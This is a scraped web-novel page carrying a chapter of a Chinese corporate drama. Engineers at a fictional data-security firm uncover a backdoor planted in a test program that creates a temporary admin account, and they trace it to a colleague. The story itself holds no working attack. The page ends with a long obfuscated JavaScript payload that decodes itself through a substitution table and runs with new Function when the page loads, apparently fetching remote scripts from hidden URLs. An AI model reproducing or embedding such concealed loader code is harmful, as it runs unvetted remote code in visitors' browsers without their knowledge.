首页
[切换至繁体版]
返回

番外第29章星火燎原

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    番外第29章星火燎原(第1/2页)
    一、危机前夜
    凌晨两点,“五彩绫镜”项目组的灯光依然通明。
    姚浮萍揉了揉发涩的眼睛,盯着屏幕上滚动的代码。距离“镜面算法”公开测试还有七十二小时,这是龙胆科技转型数据安全领域的核心一战,也是她职业生涯中最重要的项目。
    “浮萍姐,第三层防火墙的压力测试数据出来了。”戴着黑框眼镜的年轻工程师敲了敲门,声音有些迟疑,“流量峰值时,响应延迟比预期高出15%...”
    “拿来我看看。”姚浮萍接过平板,迅速翻看着图表,眉头越皱越紧。
    “五彩绫镜”的核心创新在于“镜面算法”——一种全新的数据隐私保护技术,能够在用户数据被调用时,实时生成虚拟镜像代替真实数据,既满足使用需求又确保隐私安全。理论上完美,实践中却要应对无数突发情况。
    姚浮萍的指尖在屏幕上快速滑动:“调用日志显示,延迟主要发生在镜像生成阶段。我们需要优化GPU分配方案,把优先级重新排序...”
    “可是浮萍姐,”年轻工程师小心翼翼地说,“GPU优化需要硬件配合,现在向采购部申请已经来不及了。而且...而且张经理说,预算已经超支了。”
    张经理,张弛。那个半年前被辞退后又通过竞聘回归的老员工,如今是后勤保障部的负责人。姚浮萍知道他对当年的事耿耿于怀,尤其是她曾怀疑过林晚而间接导致他被调查的那段往事。
    “我去找他谈。”姚浮萍站起身,才发现双腿已经麻木,差点没站稳。
    “浮萍姐,您都三天没回家了。”年轻工程师忍不住说,“要不明天...”
    “没有明天了。”姚浮萍打断他,语气不容置疑,“72小时后,全球五十家媒体会直播我们的公开测试。如果到时候系统崩溃,龙胆科技会在数据安全领域永远失去信誉。”
    她拿起外套,走向电梯。
    走廊另一头,龙胆草的办公室也亮着灯。
    曹辛夷端着热咖啡推门进去时,看见龙胆草站在落地窗前,望着这座沉睡的城市。霓虹灯在他脸上投下明明灭灭的光影。
    “还在担心公开测试?”曹辛夷把咖啡放在桌上。
    龙胆草转过身,眼中有血丝:“刚才得到消息,荆棘科技买通了《科技前沿》的专栏作者,准备在测试当天同步发布一篇‘深度分析’,质疑我们算法的安全性。”
    “意料之中。”曹辛夷语气平静,“自从林晚反水,他们就没停止过找茬。这次不过是换了个更‘文明’的方式。”
    “不止如此。”龙胆草调出手机上的加密邮件,“我安排在荆棘科技内部的人传来消息,他们可能已经掌握了我们算法的某个漏洞,准备在测试时发动攻击。”
    曹辛夷脸色微变:“确定吗?”
    “不确定,但可能性很大。”龙胆草坐回办公椅,手指无意识地敲击着桌面,“浮萍那边压力已经很大了,我不想再给她增加负担。辛夷,我需要你帮我做件事。”
    “你说。”
    “明天一早,你去见《科技前沿》的主编。不,现在就去。”龙胆草看了看表,“用我私人飞机的权限,四个小时后,他应该刚起床喝早茶。”
    曹辛夷挑眉:“威逼还是利诱?”
    “都不是。”龙胆草露出一个意味深长的笑,“是给他一个独家——‘龙胆科技创始人首次披露创业黑历史:我曾是商业间谍的帮凶’。”
    曹辛夷愣住了。
    “有些事,与其让别人用来攻击我们,不如我们自己主动揭开。”龙胆草拉开抽屉,取出一个旧U盘,“这里面是五年前林晚事件的完整记录,包括我当时明知她身份可疑,却仍然选择相信她的那段。我要你原封不动地交给主编。”
    “你疯了?”曹辛夷难得失态,“这会让你个人信誉崩塌,甚至可能影响公司股价!”
    “但如果我现在不说,等到测试当天别人添油加醋地说,那才是真正的灾难。”龙胆草站起身,双手撑在桌上,眼神坚定,“数据安全的核心是什么?是信任。如果我们自己都不敢直面过去的错误,用户凭什么相信我们能保护他们的隐私?”
    曹辛夷沉默良久,终于轻叹一声:“我明白了。但你有没有想过,这么做的代价?”
    “想过。”龙胆草走到她面前,轻轻握住她的手,“五年前,我因为害怕失去而选择隐瞒,结果差点毁了一切。现在,我不想再犯同样的错误。辛夷,你会支持我的,对吗?”
    曹辛夷看着他眼中的疲惫与坚定,心中涌起复杂的情绪。她想起五年前那个雨夜,龙胆草也是这样站在她面前,说要把林晚留下。那时她觉得他太过理想主义,如今她却明白了——正是这种近乎固执的坚持,让龙胆科技走到了今天。
    “我支持你。”她反握住他的手,“但我要陪你一起去。有些事,不该你一个人承担。”
    二、深夜对峙
    与此同时,后勤保障部的办公室里,姚浮萍与张弛的对峙正陷入僵局。
    “姚总监,不是我不配合。”张弛坐在办公椅上,慢条斯理地转着手中的笔,“公司有公司的流程,预算审批需要时间。你们研发部总喜欢搞‘紧急特批’,我们后勤很难做啊。”
    姚浮萍强压着火气:“张经理,这不是第一次了。上周服务器扩容,上上周备用电源升级,每次你都用‘流程’来拖延。公开测试关系到公司未来,你真的要在这个时候计较这些吗?”
    张弛放下笔,眼神冷了下来:“姚总监,你这话我就不爱听了。什么叫‘计较’?我是在按规章制度办事。倒是你们研发部,动不动就‘紧急’‘特批’,把公司当自家后院了?”
    “你...”
    “哦,对了。”张弛打断她,似笑非笑地说,“听说林晚那个前间谍,现在在你们项目组还挺受重视?姚总监真是心胸宽广啊,连差点毁掉公司的人都能原谅。”
    姚浮萍的手指猛然收紧。
    “张弛,”她的声音冷得像冰,“工作上的事,不要扯个人恩怨。”
    “个人恩怨?”张弛站起身,走近两步,“姚浮萍,五年前我被调查的时候,你可没少在龙总面前说我坏话吧?要不是九里香力保,我早就卷铺盖走人了。现在你跟我说不要扯个人恩怨?”
    办公室里的气氛剑拔弩张。
    就在这时,门被推开了。
    “这么热闹?”林晚端着两杯咖啡走进来,仿佛没察觉到紧张的气氛,“浮萍姐,你要的美式。张经理,这是你的拿铁,双倍糖——我记得你喜欢甜的。”
    张弛愣了愣,下意识接过咖啡。
    林晚自然地坐在旁边的沙发上,抿了一口自己的那杯:“刚才在门外听到你们在讨论预算的事。张经理,我有个想法,不知道能不能帮上忙。”
    张弛皱眉:“你?”
    “对,我。”林晚放下杯子,从包里拿出平板,“上周我整理旧档案时发现,三年前公司采购过一批高性能GPU,当时是为了一个后来被砍掉的项目准备的。那批设备一直封存在三号仓库,性能虽然不算最新,但应付临时扩容应该够用。”
    她调出仓库管理系统:“你看,设备编号、规格参数、质检报告都在这里。按照公司固定资产管理规定,闲置超过两年的设备,部门负责人有权申请临时调用,不需要走采购流程。”
    张弛的脸色变了变,接过平板仔细查看。
    姚浮萍惊讶地看着林晚——她怎么会知道这些?又怎么会恰好在这个时候出现?
    “就算设备能用,”张弛还在挣扎,“安装调试也需要时间,而且需要技术人员...”
    “技术人员我有。”林晚微笑,“我认识几个之前在荆棘科技负责硬件架构的老同事,他们三个月前被裁员,现在正找工作。我可以联系他们,按临时外包付酬劳,比正式招聘快得多。”
    张弛盯着她看了很久,终于叹了口气:“林晚,你这是在逼我。”
    “不,我是在帮你。”林晚站起身,走到窗前,背对着他们,“张经理,我知道你对我有意见。五年前的事,我欠公司一个道歉,也欠你一个道歉。但现在是公司最关键的时刻,个人恩怨能不能先放一放?”
    她转过身,眼神清澈:“等测试结束,你想怎么骂我、告我,我都认。但在这之前,让我们先把公司的事做好,行吗?”
    办公室里陷入长久的沉默。
    张弛看着手中逐渐冷却的咖啡,又看了看姚浮萍疲惫却坚定的眼神,最后目光落在林晚身上。这个曾经差点毁掉公司的女人,如今却在想方设法拯救它。
    “设备调用申请单,”他终于开口,声音有些沙哑,“明天一早我给你批。”
    三、镜面之下
    凌晨四点,姚厚朴匆匆赶到公司。
    他原本在家陪怀孕的妻子,接到姚浮萍的电话后立刻赶了过来。此刻,他正盯着屏幕上诡异的代码片段,额头渗出冷汗。
    “这个漏洞...不应该存在。”他喃喃道,“‘镜面算法’的核心逻辑是我和浮萍一起设计的,每一行代码都经过三重审核。这个后门是怎么被植入的?”
    林晚站在他身后,眉头紧锁:“能确定植入时间吗?”
    “日志显示,最后一次无痕修改是在七十二小时前。”姚厚朴调出操作记录,“但修改者的权限等级显示为...最高管理员。”
    “最高管理员只有三个人,”姚浮萍声音发紧,“我,你,还有龙总。”
    办公室里的空气仿佛凝固了。
    “不可能。”姚厚朴摇头,“我们三个都不可能做这种事。”
    (本章未完,请点击下一页继续阅读)番外第29章星火燎原(第2/2页)
    林晚忽然想起什么:“权限可以伪造吗?”
    “理论上可以,但需要...”姚厚朴突然停住,猛地调出另一份日志,“等等,这里有个异常——七十二小时前,系统自动生成了一个临时最高权限账户,有效期三十分钟。这个操作触发者是...是‘五彩绫镜’项目的自动测试程序?”
    “自动测试程序怎么会生成管理员账户?”姚浮萍追问。
    “除非...”林晚和姚厚朴对视一眼,同时说,“除非测试程序被篡改了。”
    姚厚朴的手指在键盘上飞舞,很快调出了测试程序的源代码。在数千行代码中,他找到了被精心隐藏的几行——那是一个条件触发指令:当系统检测到特定压力测试模式时,自动创建一个临时管理员账户,并在三十分钟后自动删除日志记录。
    “这是专业级的黑客手法。”姚厚朴脸色发白,“如果不是我们提前发现了漏洞,等到公开测试那天,这个临时账户就会被激活,对方可以随意操控整个系统...”
    “能追踪到是谁做的吗?”姚浮萍问。
    林晚忽然开口:“让我试试。”
    她接过键盘,双手在键盘上快速敲击。不同于程序员惯用的IDE界面,她打开了一个黑色的命令行窗口,输入一连串复杂的指令。
    “这是在荆棘科技时,我被迫学的一种追踪技术。”她一边操作一边解释,“他们用它来清除入侵痕迹,但反向操作的话,可以找到痕迹的源头。”
    屏幕上,数据流如瀑布般滚动。林晚的眼睛紧紧盯着每一个跳动的字符,额角渗出细密的汗珠。
    五分钟,十分钟,二十分钟...
    “找到了。”她终于停手,指向屏幕上一串加密的IP地址,“信号源在...公司内部?”
    “什么?”姚浮萍和姚厚朴同时凑近。
    林晚调出公司内部的网络拓扑图,将IP地址定位——那是三号仓库的位置。
    “三号仓库?”姚厚朴困惑,“那不是存放旧设备的地方吗?”
    林晚却想到了什么,脸色一变:“刚才我和张弛提到的GPU设备,就在三号仓库。如果有人在那些设备上做了手脚...”
    她的话没说完,但意思已经很清楚。
    姚浮萍立刻拿起电话:“保安部吗?我是姚浮萍,立刻封锁三号仓库,任何人不得进出。对,现在!”
    四、真相与抉择
    三号仓库的门被保安强行打开时,里面的场景让所有人都愣住了。
    成排的服务器机架之间,搭建了一个临时的工作站。屏幕上运行着复杂的监控程序,而坐在电脑前的,竟然是——
    “赵晓峰?”姚浮萍难以置信地看着那个年轻工程师,“怎么是你?”
    赵晓峰,二十五岁,清华计算机系硕士毕业,加入龙胆科技才一年,是姚厚朴亲自带出来的徒弟。三个月前,他还因为“五彩绫镜”项目的创新方案获得了公司的最佳新人奖。
    此刻,这个曾经腼腆害羞的年轻人,却以一种陌生的冷漠眼神看着他们。
    “浮萍姐,厚朴哥。”他缓缓站起身,“你们来得比我想象的早。”
   
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();